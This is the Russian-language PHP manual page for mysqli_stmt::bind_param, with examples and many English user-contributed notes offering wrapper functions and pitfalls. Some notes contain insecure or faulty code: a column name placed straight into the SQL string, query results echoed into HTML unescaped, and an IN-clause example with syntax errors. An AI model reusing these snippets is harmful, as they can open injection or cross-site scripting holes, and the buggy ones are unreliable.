mysqli_stmt::bind_param

mysqli_stmt_bind_param

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::bind_param -- mysqli_stmt_bind_param — Привязка переменных к параметрам подготавливаемого запроса

Описание

Объектно-ориентированный стиль

public mysqli_stmt::bind_param(string $types, mixed &$var, mixed &...$vars): bool

Процедурный стиль

mysqli_stmt_bind_param(
mysqli_stmt $statement,
string $types,
mixed &$var,
mixed &...$vars
): bool

Привязывает переменные к меткам параметров в SQL-выражении, которое было подготовлено функцией mysqli_prepare() или mysqli_stmt_prepare().

Замечание:

Если размер данных переменной превышает максимально допустимый размер пакета (max_allowed_packet), необходимо задать значение b параметру types и использовать функцию mysqli_stmt_send_long_data(), которая будет передавать данные пакетами.

Замечание:

При использовании mysqli_stmt_bind_param() совместно с call_user_func_array() необходимо соблюдать особую осторожность. Нужно принимать во внимание, что mysqli_stmt_bind_param() принимает в качестве параметров только ссылки на значения, в то время как call_user_func_array() принимает список параметров, которые могут передаваться как по ссылке, так и по значению.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

types

Строка, содержащая один или более символов, каждый из которых задаёт тип значения привязываемой переменной:

Символы задающие тип
Символ | Описание
i | у соответствующей переменной тип int
d | у соответствующей переменной тип float
s | у соответствующей переменной тип string
b | соответствующая переменная является большим двоичным объектом (blob) и будет пересылаться пакетами

var
vars

Количество переменных и длина строки types должны в точности соответствовать количеству параметров в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli_stmt::bind_param()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
$stmt->bind_param('sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

$stmt->execute();

printf("строк добавлено: %d.\n", $stmt->affected_rows);

/* Clean up table CountryLanguage */
$mysqli->query("DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("строк удалено: %d.\n", $mysqli->affected_rows);

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

$stmt = mysqli_prepare($link, "INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

mysqli_stmt_execute($stmt);

printf("строк добавлено: %d.\n", mysqli_stmt_affected_rows($stmt));

/* Clean up table CountryLanguage */
mysqli_query($link, "DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("строк удалено: %d.\n", mysqli_affected_rows($link));

Результат выполнения данных примеров:

строк добавлено: 1.
1 row deleted.

Пример #2 Пример использования ... для предоставления аргументов

Оператор ... может использоваться для предоставления списка аргументов переменной длины, например в конструкции WHERE IN.

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$stmt = $mysqli->prepare("SELECT Language FROM CountryLanguage WHERE CountryCode IN (?, ?)");
/* использование ... для предоставления аргументов */
$stmt->bind_param('ss', ...['DEU', 'POL']);
$stmt->execute();
$stmt->store_result();

printf("найдено строк: %d.\n", $stmt->num_rows());

Результат выполнения данных примеров:

найдено строк: 10.

Смотрите также

  • mysqli_stmt_bind_result() - Привязка переменных к подготовленному запросу для размещения результата
  • mysqli_stmt_execute() - Выполняет подготовленное утверждение
  • mysqli_stmt_fetch() - Связывает результаты подготовленного выражения с переменными
  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_send_long_data() - Отправка данных блоками
  • mysqli_stmt_errno() - Возвращает код ошибки выполнения последнего запроса
  • mysqli_stmt_error() - Возвращает строку с пояснением последней ошибки при выполнении запроса

User Contributed Notes

psufan513 at aol dot com 03-Jan-2022 03:29
I wasn't able to find anything like this, I thought I would post it. If its garbage let me know and I will remove it!

//Usage:
//$query = prepare($db, "SELECT * FROM TABLE WHERE ID = %d AND NAME = %s", 1, 'foo');
//while ($row = $query->fetch_assoc())

// "Splat" ... operator requires PHP 5.6
function prepare($db, $sql, ...$params) {
    if (preg_match_all('/%(\w)/sim', $sql, $types)) {
        $sql = preg_replace('/%(\w)/sim', '?', $sql);
        if ($stmt = $db->prepare($sql)) {
            $stmt->bind_param(implode('', $types[1]), ...$params);
            $stmt->execute();
            $query = $stmt->get_result();
            $stmt->close();
            return $query;
        } else {
            echo 'Error: #' . $db->errno . ' ' . $db->error;
        }
    } else {
        return $db->query($sql);
    }
}
c at zp1 dot net 01-Aug-2021 09:26
It is very important to understand that you can not supply bind_param values

this will not work:

    $stmt -> bind_param("s", "value");

you have to do it like this :

    $var =  "value";
    $stmt -> bind_param("s", $var);
wapharshitsingh at gmail dot com 12-May-2021 03:44
just wanted to share here, how we can use prepare statement with the combination of ... operator effectively .
<?php
class Database{
 private function getTypeofValues($string, $value){
        if(is_float($value)){
            $string .= "d";
        }elseif(is_integer($value)){
            $string .= "i";
        }elseif(is_string($value)){
            $string .= "s";
        }else{
            $string .= "b";
        }
        return $string;
    }
 public function makeQuery($query, array $values){
        $stmt = $this->connection->prepare($query);
        $type = array_reduce($values, array($this, "getTypeOfValues"));
        $stmt->bind_param($type, ...$values);
        $stmt->execute();
        $result = $stmt->get_result();
        return $result;
    }
}
?>
bodek at ipsit dot bu dot edu 09-Apr-2021 02:01
Guido's class above is great ... but to avoid a warning for an unknown array key 0, you should replace:

$this->mbind_params = array();

with

$this->mbind_params = array("");

on two of the lines.
andersmmg at gmail dot com 29-Jan-2019 07:29
I sometimes forget that you can't put functions inside. For example:

If I wanted to use md5() on a value like so:
<?php
$stmt->bind_param("s",md5($val));
?>
If would not work. Because it uses the variables by binding them, you need to change them beforehand like this:
<?php
$val = md5($val);
$stmt->bind_param("s",$val);
?>
davidharrison at gmail dot com 16-Jul-2017 08:20
There are two solutions in this page for calling bind_param() via  call_user_func_array() that involve using a user-created function called refValues(), so that you can pass the parameters to bind_param() as references.

This works perfectly in PHP v5.3 (and I assume before), but since upgrading to PHP v7.1.7, the refValues() functions here no longer correctly convert the arrays to arrays of references. Instead you will get a warning:

"PHP Warning:  Parameter 3 to mysqli_stmt_bind_param() expected to be a reference, value given"

I believe this is because of changes to arrays and reference handling as noted in the "Migrating from PHP 5.6.x to PHP 7.0.x" guide in Backwards Incompatibilities (change: "foreach by-value operates on a copy of the array").

So in PHP v7.1.7 at least, the user-created function refValues() no longer returns an array of references but instead a normal array of values.

Changing the function definition of refValues() to accept the array as a reference seems to fix this - as intended it returns an array of references and thus bind_param() works as expected (although I haven't tested this super thoroughly to make sure there are no other ill effects, especially in older versions of PHP).

New refValues() definition is simply:

<?php
function refValues(&$arr) // Changed $arr to reference for PHP v7.1.7
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
     }
     return $arr;
}
?>
Darky 10-Jul-2017 03:23
A small remark from what I tried:
- if you use prepared statements with bind_param and your query looks like
"SELECT user_id FROM users WHERE ... = ?" and then you bind an integer param to this, the user_ids you get will be casted to int. On the other hand, if you don't use prepared statements, but sth like "SELECT user_id FROM users WHERE ... = $var", where $var is an int, and just make the query, the fetched results will be strings. (e.g., at var_dump,  ["user_id"]=> string(1) "6" for some row)
This is just from what I observed in my project, hope it's correct.
asphp at dsgml dot com 22-Mar-2017 04:09
Instead of reflection or complicated ref assigning do this:

<?
mysqli_stmt_bind_param($stmt, ...$params);

//(Only works in php 5.6+)

//Example:

//$mysql is from mysqli_connect()
//$sql is the query
//$types is the type string eg 'ii'
//$params is an array of params
function execute($mysqli, $sql, $types, $params) {
    $stmt = mysqli_prepare($mysqli, $sql);
    mysqli_stmt_bind_param($stmt, $types, ...$params);
    mysqli_stmt_execute($stmt);
    return mysqli_stmt_get_result($stmt);
}
?>

You can have the types as the first element of the array as in the first example, or as a separate variable as in the second example.
accountant 16-Jan-2017 10:09
if bind_param() fails due to Number of elements in type definition string doesn't match number of bind variables. it triggers an E_WARNING error. and you will not find that error in $stmt->error property
Matze 10-Nov-2016 07:57
Hey Folks,

just wanted to mention that parameters can only be used for input data, NOT for Table, Columns or Database names.
That gave me a headache yesterday!
So this code will not work:

$searchtype = "Title";
$searchterm = "The Fellowship of the Ring: The Lord of the Rings";

$query =
"SELECT ISBN, Author, Title, Price
FROM books
WHERE ? = ?";

$mySql_stmt = $db->prepare($query);
$mySql_stmt->bind_param("ss" , $searchtype, $searchterm);
$mySql_stmt->execute();

In contrast, you will have to include the searchtype in ther query directly like this:

$searchtype = "Title";
$searchterm = "The Fellowship of the Ring: The Lord of the Rings";
$query =
"SELECT ISBN, Author, Title, Price
FROM books
WHERE $searchtype = ?";

$mySql_stmt = $db->prepare($query);
$mySql_stmt->bind_param("s", $searchterm);
$mySql_stmt->execute();

Hope that helps someone to have a peaceful nights sleep :)
travis at twooutrally dot com 06-Mar-2016 05:59
Parameter type matters more than you might think!

A cautionary tail to any who would seek to find less than thorough solutions for automating prepared statements. Take the following mysqli_stmt extension method for example.

<?php

public function param_type($param)
{
    if (ctype_digit((string) $param)
        return $param <= PHP_INT_MAX ? 'i' : 's';

    if (is_numeric($param))
        return 'd';

    return 's';
}

?>

At face value this seems like a perfectly straightforward and innocuous function. Something like this served as a small piece in a larger automation extension which dutifully served its purpose efficiently handling hundreds of thousands of queries a day.

Now I know what you're thinking: it doesn't handle blob types. Well we didn't work with blob types (and still don't) so that's never been an issue. This problem was far more insidious and ultimately pernicious than that.

So what went wrong? The problem began to surface when we started automating SELECT queries on a newly created index for a column designed to store telephone numbers. The column was of type VARCHAR but the data stored was always formatted as an integer. Not a problem when performing a write operation but as soon as we went to read from the table on this index everything went to hell.

We're not entirely sure, but as near as we can tell the act of binding a parameter to a VARCHAR index as 'i' instead of 's' on a read query is detrimental in the following way: MySQL will ignore the b-tree on the index and perform a full table scan. With smaller tables this may never present itself as a significant performance issue. When your tables get into the tens of millions of rows, however...
bboymarco 04-Aug-2015 12:14
I did for myself a really useful function (cause I didn't want to use eval() or reflection) that create for you a prepared statement with an indefinite number of parameters and return an indefinite number of result columns. Last two arguments are optional so when you don't have parameters to send to MySQL you can avoid them. I decided to share it here cause it may  be helpful and save some time and brainstorming:

function prepared_stmt($con, $query, $type = "", $param = array()){

    if($stmt = mysqli_prepare($con, $query)){

        $refarg = array($stmt, $type);//First two parameter of mysqli_stmt_bind_param

        foreach ($param as $key => $value)//create array of parameters' references

            $refarg[] =& $param[$key];

        if($type != "")//Jump instruction if argument $type is missing

            call_user_func_array("mysqli_stmt_bind_param", $refarg);//bind parameters with dinamic length

        if(mysqli_stmt_execute($stmt)){//check if execution go fine

            $cols = mysqli_field_count($con);//retrive the number of columns of the resultset

            $result = array_fill(0, $cols, NULL);//create an empty array with the same length of the columns

            $ref = array($stmt);//first argument of mysqli_stmt_bind_result

            foreach ($result as $key => $value)//create array of empty cells' references

                $ref[] =& $result[$key];

            call_user_func_array("mysqli_stmt_bind_result", $ref);//bind results with dinamic length

            return $ref;//return statement and columns references

        }//if

        else

            return false;

    }//if

    else

        return false;

}//prepared_stmt

Example of call:

$hello = prepared_stmt($con, "SELECT Example FROM table WHERE Col=?", "s", array("LOL");
//count($hello) is equal to 2
//$hello[0] Statement reference
//$hello[1] Example column field where to find values after fetching

while(mysqli_stmt_fetch($hello[0]))
         echo $hello[1] . "<br>";//This will print all value of the Example column
tomasz at marcinkowski dot pl 27-Mar-2014 03:46
When trying to bind a string param you get a "Number of variables doesn't match number of parameters in prepared statement" error, make sure you're not wrapping the question mark with quotes.

By mistake I had a query like:
SELECT something FROM table WHERE param_name = "?"

Binding it with <?php $stmt->bind('s', $param_value); ?> had been failing on me. All I had to do was to remove quotes around "?".
Hope this saves someone's time.
laurence dot mackenzie at stream dot com 08-Oct-2013 09:08
I just came across a very strange behaviour when using bind_param() with a reflection class.  I figured I ought to post it here to save anyone else who comes across it from banging their head against their desk for an hour (as I just did).

First, some background:  I have a set of classes,  one per file format (i.e. CSV, HTML table, etc), which import data from flat files to a temporary table in my database.  The class then transforms the data to 3NF.

I'm  using a reflection class to pass an array to mysqli->bind_param() because the column counts and types are variable.  The code (simplified) I am having issues with is:

<?php

/* Code that loops through the rows and columns in the
 * flat file and appends the MySQLi 'type' letter to the
 * $typeString variable and appends the actual value
 * to the $data array.  I left the code out because it's
 * (probably) not relevant and would bloat the post.
 */
$stmtInsert = $db->prepare('INSERT.....');
$typeString = 'ississis';
$data = array(1, 'two', 'three', 4, 'five', 'six', 7, 'eight');

/* Here's where the actual strangeness starts happening
 */

// Merge the parameter types with the parameter values
$data = array_merge((array) $typeString, $data);

// Create the reflection class
$ref = new \ReflectionClass('mysqli_stmt');

// Get the bind_param  method
$method = $ref->getMethod('bind_param');

// Invoke it with $data
$method->invokeArgs($stmtInsert, $data);

// Execute the statement
$stmtInsert->execute();

}
?>

Oddly, in one (and only one) case it started throwing "Warning: Parameter 41 to mysqli_stmt::bind_param() expected to be a reference, value given".  The reflection class throws an exception.  Other import sets using this code work just fine.  Parameter 41 is the last parameter.   Changing the affected code as follows resolves the issue:

<?php

$ref = new \ReflectionClass("mysqli_stmt");
$method = $ref->getMethod("bind_param");
$data[count($data)-1] = (string) $data[count($data)-1];
$method->invokeArgs($stmtInsert, $data);
$stmtInsert->execute();

?>

Not sure what's going on here, but like I said, hopefully this will keep the next person from thinking they're totally insane.
Guido 15-Oct-2012 07:43
Dear all,

I was searching for a class which supports multiple calls to bind_param, because I have scenarios where I build huge SQL statements over different functions with variable numbers of parameters. But I didn't found one. So I have just written up this little piece of code I would like to share with you. There is enough room to optimize these classes, but it shows the general idea. And for me it works. In mbind_param_do() it seems to depend from the PHP version if makeValuesReferenced() must be used or if $params can be used directly. In my case I have to use it.

The cool thing about this solution: You don't have to care about a lot if you are using my mbind_ functions or not. You may also use default bind_param and the execute will still work.

<?php

class db extends mysqli {
    public function prepare($query) {
        return new stmt($this,$query);
    }
}

class stmt extends mysqli_stmt {
    public function __construct($link, $query) {
        $this->mbind_reset();
        parent::__construct($link, $query);
    }

    public function mbind_reset() {
        unset($this->mbind_params);
        unset($this->mbind_types);
        $this->mbind_params = array();
        $this->mbind_types = array();
    }

    //use this one to bind params by reference
    public function mbind_param($type, &$param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = &$param;
    }

    //use this one to bin value directly, can be mixed with mbind_param()
    public function mbind_value($type, $param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = $param;
    }

    public function mbind_param_do() {
        $params = array_merge($this->mbind_types, $this->mbind_params);
        return call_user_func_array(array($this, 'bind_param'), $this->makeValuesReferenced($params));
    }

    private function makeValuesReferenced($arr){
        $refs = array();
        foreach($arr as $key => $value)
        $refs[$key] = &$arr[$key];
        return $refs;

    }

    public function execute() {
        if(count($this->mbind_params))
            $this->mbind_param_do();

        return parent::execute();
    }

    private $mbind_types = array();
    private $mbind_params = array();
}

$search1 = "test1";
$search2 = "test2";

$_db = new db("host","user","pass","database");
$query = "SELECT name FROM table WHERE col1=? AND col2=?";
$stmt = $_db->prepare($query);

$stmt->mbind_param('s',$search1);
//this second call is the cool thing!!!
$stmt->mbind_param('s',$search2);

$stmt->execute();

//this would still work!
//$search1 = "test1changed";
//$search2 = "test2changed";
//$stmt->execute();

...

$stmt->store_result();
$stmt->bind_result(...);
$stmt->fetch();
?>
xianrenb at gmail dot com 30-Sep-2012 06:52
It is believed that if one has specified 'b' in $types, the corresponding variable should be set to null, and one has to use mysqli_stmt::send_long_data() or mysqli_stmt_send_long_data() to send the blob, otherwise the blob value would be treated as empty.
nick9v at hotmail dot com 30-Jun-2012 10:12
When dealing with a dynamic number of field values while preparing a statement I find this class useful.

<?php
class BindParam{
    private $values = array(), $types = '';

    public function add( $type, &$value ){
        $this->values[] = $value;
        $this->types .= $type;
    }

    public function get(){
        return array_merge(array($this->types), $this->values);
    }
}
?>

Usage is pretty simple. Create an instance and use the add method to populate. When you're ready to execute simply use the get method.

<?php
$bindParam = new BindParam();
$qArray = array();

$use_part_1 = 1;
$use_part_2 = 1;
$use_part_3 = 1;

$query = 'SELECT * FROM users WHERE ';
if($use_part_1){
    $qArray[] = 'hair_color = ?';
    $bindParam->add('s', 'red');
}
if($use_part_2){
    $qArray[] = 'age = ?';
    $bindParam->add('i', 25);
}
if($use_part_3){
    $qArray[] = 'balance = ?';
    $bindParam->add('d', 50.00);
}

$query .= implode(' OR ', $qArray);

//call_user_func_array( array($stm, 'bind_param'), $bindParam->get());

echo $query . '<br/>';
var_dump($bindParam->get());
?>

This gets you the result that looks something like this:

SELECT * FROM users WHERE hair_color = ? OR age = ? OR balance = ?
array(4) { [0]=> string(3) "sid" [1]=> string(3) "red" [2]=> int(25) [3]=> float(50) }

[Editor's note: changed BindParam::add() to accept $value by reference and thereby prevent a warning in newer versions of PHP.]
robstocki at battlesecure dot com 24-May-2012 10:22
Here is the procedural version of a select statement when wanting to use %LIKE% in the query and not an '=':
<?php
function db_connect(){
//    set $db as global for access outside function
    global $db;
    #    Use procedural methods for database connection and manipulation
//    Connect to Database
    @$db = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);

//    Check connection
    if(mysqli_connect_errno()) {
        echo '<br />Error: Could not connect to database.  Please try again later.<br />';
        exit;
    }

}

//    Connect to Database
    db_connect();

    $theRecordInTheTableIs = "%".$_POST['theRecordInTheTableIs']."%";    //    concat $_POST variable with % on each side for use in prepared statement
    $theRelatedRecordLooks = "%".$_POST['theRelatedRecordLooks']."%";    //    concat $_POST variable with % on each side for use in prepared statement

//    Create Query
    $q      =     '';        //    create variable for input
    $q     .=     " SELECT ";
    $q     .=     " * ";
    $q     .=     " FROM ";
    $q     .=     " myFavTable ";
    $q     .=     " WHERE ";
    $q    .=     " theRecordInTheTableIs LIKE ? ";
    $q    .=     " AND ";
    $q    .=     " theRelatedRecordLooks LIKE ? ";

//    Prepare the statement
    $stmt = mysqli_prepare($db, $q);

//    bind the paramaters
    mysqli_stmt_bind_param($stmt, 'ss', $theRecordInTheTableIs,$theRelatedRecordLooks);

//    Execute the query
    mysqli_stmt_execute($stmt);

// bind result variables
    mysqli_stmt_bind_result($stmt, $col0, $col1, $col2, $col3, $col4, $col5, $col6, $col7, $col8, $col9, $col10);

//    Display the query
//    start the table

echo '<table>
    <tr>
        <td>Col0 Title</td>
        <td>Col1 Title</td>
        <td>Col2 Title</td>
        <td>Col3 Title</td>
        <td>Col4 Title</td>
        <td>Col5 Title</td>
        <td>Col6 Title</td>
        <td>Col7 Title</td>
        <td>Col8 Title</td>
        <td>Col9 Title</td>
        <td>Col10 Title</td>
    </tr>';

// fetch values
    while (mysqli_stmt_fetch($stmt)) {
        echo "     <tr>
        <td>{$col0}</td>
        <td>{$col1}</td>
        <td>{$col2}</td>
        <td>{$col3}</td>
        <td>{$col4}</td>
        <td>{$col5}</td>
        <td>{$col6}</td>
        <td>{$col7}</td>
        <td>{$col8}</td>
        <td>{$col9}</td>
        <td>{$col10}</td>
    </tr> ";

    }

//    close the table
    echo '</table>';

?>
Darren 11-Jan-2012 04:00
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
samishiikihaku23 at gmail dot com 30-Dec-2011 03:50
NOTES to new users! Or programmers like myself who learn the hard way!!!
Pay attention to the variables that are given in the function up above. ( string $types , mixed &$var1 [, mixed &$... ] ) . The example shows this too, but I personally didn't get it 'til trying to debug my code.

ITS REQUIRED TO PASS VARIABLES HERE. You can not pass straight data through here.

$stmt->bind('s','Something here'); Will error!!!

Just a clarification as to avoid another night like mine last night and this morning.
Ole Clausen 06-Nov-2011 11:50
A lot of newcommers to mysqli find it hard to get started. I have written this wrapper with object based response, that handles most of my queries. I hope it'll be usefull for others as well:

<?php
define('DB_HOST', 'localhost');
define('DB_USERNAME', '');
define('DB_PASSWORD', '');
define('DB_DEFAULT_DB', 'test');

function iQuery($sql, $arrParams, $arrBindNames=false) {
    $result = new stdClass();
    $mysqli = @new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DEFAULT_DB);
    if (mysqli_connect_errno()) {
        $result->error = 'Connection failed: '.mysqli_connect_error();
        return $result;
    }
    if ($stmt = $mysqli->prepare($sql)) {
        $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
        $method->invokeArgs($stmt, $arrParams);
        $stmt->execute();
        $meta = $stmt->result_metadata();
        if (!$meta) {
            $result->affected_rows = $stmt->affected_rows;
            $result->insert_id = $stmt->insert_id;
        } else {
            $stmt->store_result();
            $params = array();
            $row = array();
            if ($arrBindNames) {
                for ($i=0,$j=count($arrBindNames); $i<$j; $i++) {
                    $params[$i] = &$row[$arrBindNames[$i]];
                }
            } else {
                while ($field = $meta->fetch_field()) {
                    $params[] = &$row[$field->name];
                }
            }
            $meta->close();
            $method = new ReflectionMethod('mysqli_stmt', 'bind_result');
            $method->invokeArgs($stmt, $params);
            $result->rows = array();
            while ($stmt->fetch()) {
                $obj = new stdClass();
                foreach($row as $key => $val) {
                    $obj->{$key} = $val;
                }
                $result->rows[] = $obj;
            }
            $stmt->free_result();
        }
        $stmt->close();
    }
    $mysqli->close();
    return $result;
}

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams);

print_r($result);
print $result->rows[1]->first_name . " " . $result->rows[1]->last_name;
?>

If $_POST['sex'] contains 'male' and $_POST['active'] contains 'yes' - and the field names are 'id', 'first_name', 'last_name', 'sex' and 'active', the printet result may look like this:

----------------------------------------------
stdClass Object
(
    [rows] => Array
        (
            [0] => stdClass Object
                (
                    [id] => 2
                    [first_name] => Peter
                    [last_name] => Johnson
                    [sex] => male
                    [active] => yes
                )

            [1] => stdClass Object
                (
                    [id] => 5
                    [first_name] => Ole
                    [last_name] => Clausen
                    [sex] => male
                    [active] => yes
                )

        )

)
Ole Clausen
----------------------------------------------

You can also apply special field names to the response, if you use the parameter $arrBindNames:

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$arrNames = array('foo_id', 'bar_first', 'baz_last', 'foo_sex', 'bar_act');
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams, $arrNames);

- a row would then look like this:

    [0] => stdClass Object
        (
            [foo_id] => 2
            [bar_first] => Peter
            [baz_last] => Johnson
            [foo_sex] => male
            [bar_act] => yes
        )

The first argument 'ss' in $arrParams states, that the two following arguments are of type String. The options are 's' for String, 'i' for Integer, 'd' for Double and 'b' for Blob (sent in packages).

In queries, that do not return a result INSERT, UPDATE, etc. $result->affected_rows and $result->insert_id are available. Connection errors are available in $result->error. Additional error handling would be nice, but is not implemented for now. Play with the wrapper and use print_r on the result ... enjoy!

The name 'iQuery'? Well, it handles mysql*i* - and then I guess it's kind of a tribute to Mr. Jobs ... may he 'rest' in energetic, hungry foolishness  =)

==
UPDATE: 08-NOV-2011 07:19

Due to changes in PHP 5.3 I encountered a problem with 'bind_param' in my iQuery function below. The values in the passed array *must* be references. The soloution is this function:

<?php
function getRefArray($a) {
    if (strnatcmp(phpversion(),'5.3')>=0) {
        $ret = array();
        foreach($a as $key => $val) {
            $ret[$key] = &$a[$key];
        }
        return $ret;
    }
    return $a;
}
?>

- and this change in iQuery:

        if ($stmt = $mysqli->prepare($sql)) {
            $arrParams = getRefArray($arrParams); // <-- Added due to changes since PHP 5.3
            $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
            $method->invokeArgs($stmt, $arrParams);
            $stmt->execute();
            $meta = $stmt->result_metadata();
alex dot deleyn at gmail dot com 16-Jul-2011 06:50
MySQL has a "NULL-safe equal" operator (I'm guessing since 5.0)
http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#operator_equal-to

If you use this operator instead of the usual = you can interchange values and null in where clauses.

There is however a known bug when using this operator with datetime or timestamp fields: http://bugs.mysql.com/bug.php?id=36100
jk at jankriedner dot de 20-May-2011 02:39
There are some things to note when working with mysqli::bind_param() and array-elements.
Re-assigning an array will break any references, no matter if the keys are identical.
You have to explicitly reassign every single value in an array, for the references to be kept.
Best shown in an example:
<?php
function getData() {
    return array(
        0=>array(
            "name"=>"test_0",
            "email"=>"test_0@example.com"
        ),
        1=>array(
            "name"=>"test_1",
            "email"=>"test_1@example.com"
        )
    );
}
$db  = new mysqli("localhost","root","","tests");
$sql = "INSERT INTO `user` SET `name`=?,`email`=?";
$res = $db->prepare($sql);
// If you bind array-elements to a prepared statement, the array has to be declared first with the used keys:
$arr = array("name"=>"","email"=>"");
$res->bind_param("ss",$arr['name'],$arr['email']);
//So far the introduction...

/*
    Example 1 (wont work as expected, creates two empty entries)
    Re-assigning the array in the while()-head generates a new array, whereas references from bind_param stick to the old array
*/
foreach( getData() as $arr ) {
    $res->execute();
}

/*
    Example 2 (will work as expected)
    Re-assigning every single value explicitly keeps the references alive
*/
foreach( getData() as $tempArr ) {
    foreach($tempArr as $k=>$v) {
        $arr[$k] = $v;
    }
    $res->execute();
}
?>
asb(.d o,t )han(a t)n i h e i(d.o_t)dk 22-Apr-2011 06:05
It should be noted that MySQL has some issues regarding the use of the IN clause in prepared statements.

I.e. the code:
<?php

$idArr = "1, 2, 3, 4";
$int_one = 1;
$int_two = 2;
$int_three = 3;
$int_four = 4;

$db = new MySQLi();
$bad_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?));
$bad_stmt->bind_param("s", $idArr);
$bad_stmt->bind_result($ias);
$bad_stmt->execute();

echo "Bad results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}

$good_stmt->close();

$good_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?, ?, ?, ?));
$good_stmt->bind_param("iiii", $int_one, $int_two, $int_three, $int_four);
$good_stmt->bind_result($ias);
$good_stmt->execute();

echo "God results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}
$bad_stmt->close();

$db->close();
?>
will print this result:

Bad results:
one

Good results:
one
two
three
four

Using "IN(?)" in a prepared statement will return just one (the first) row from a table/view. This is not an error in PHP, but merely how MySQL handles prepared statements.
Anonymous 28-Mar-2011 01:49
You can bind to variables with NULL values, and on update and insert queries, the corresponding field will be updated to NULL no matter what bind string type you associated it with.  But, for parameters meant for the WHERE clause (ie where field = ?), the query will have no effect and produce no results.

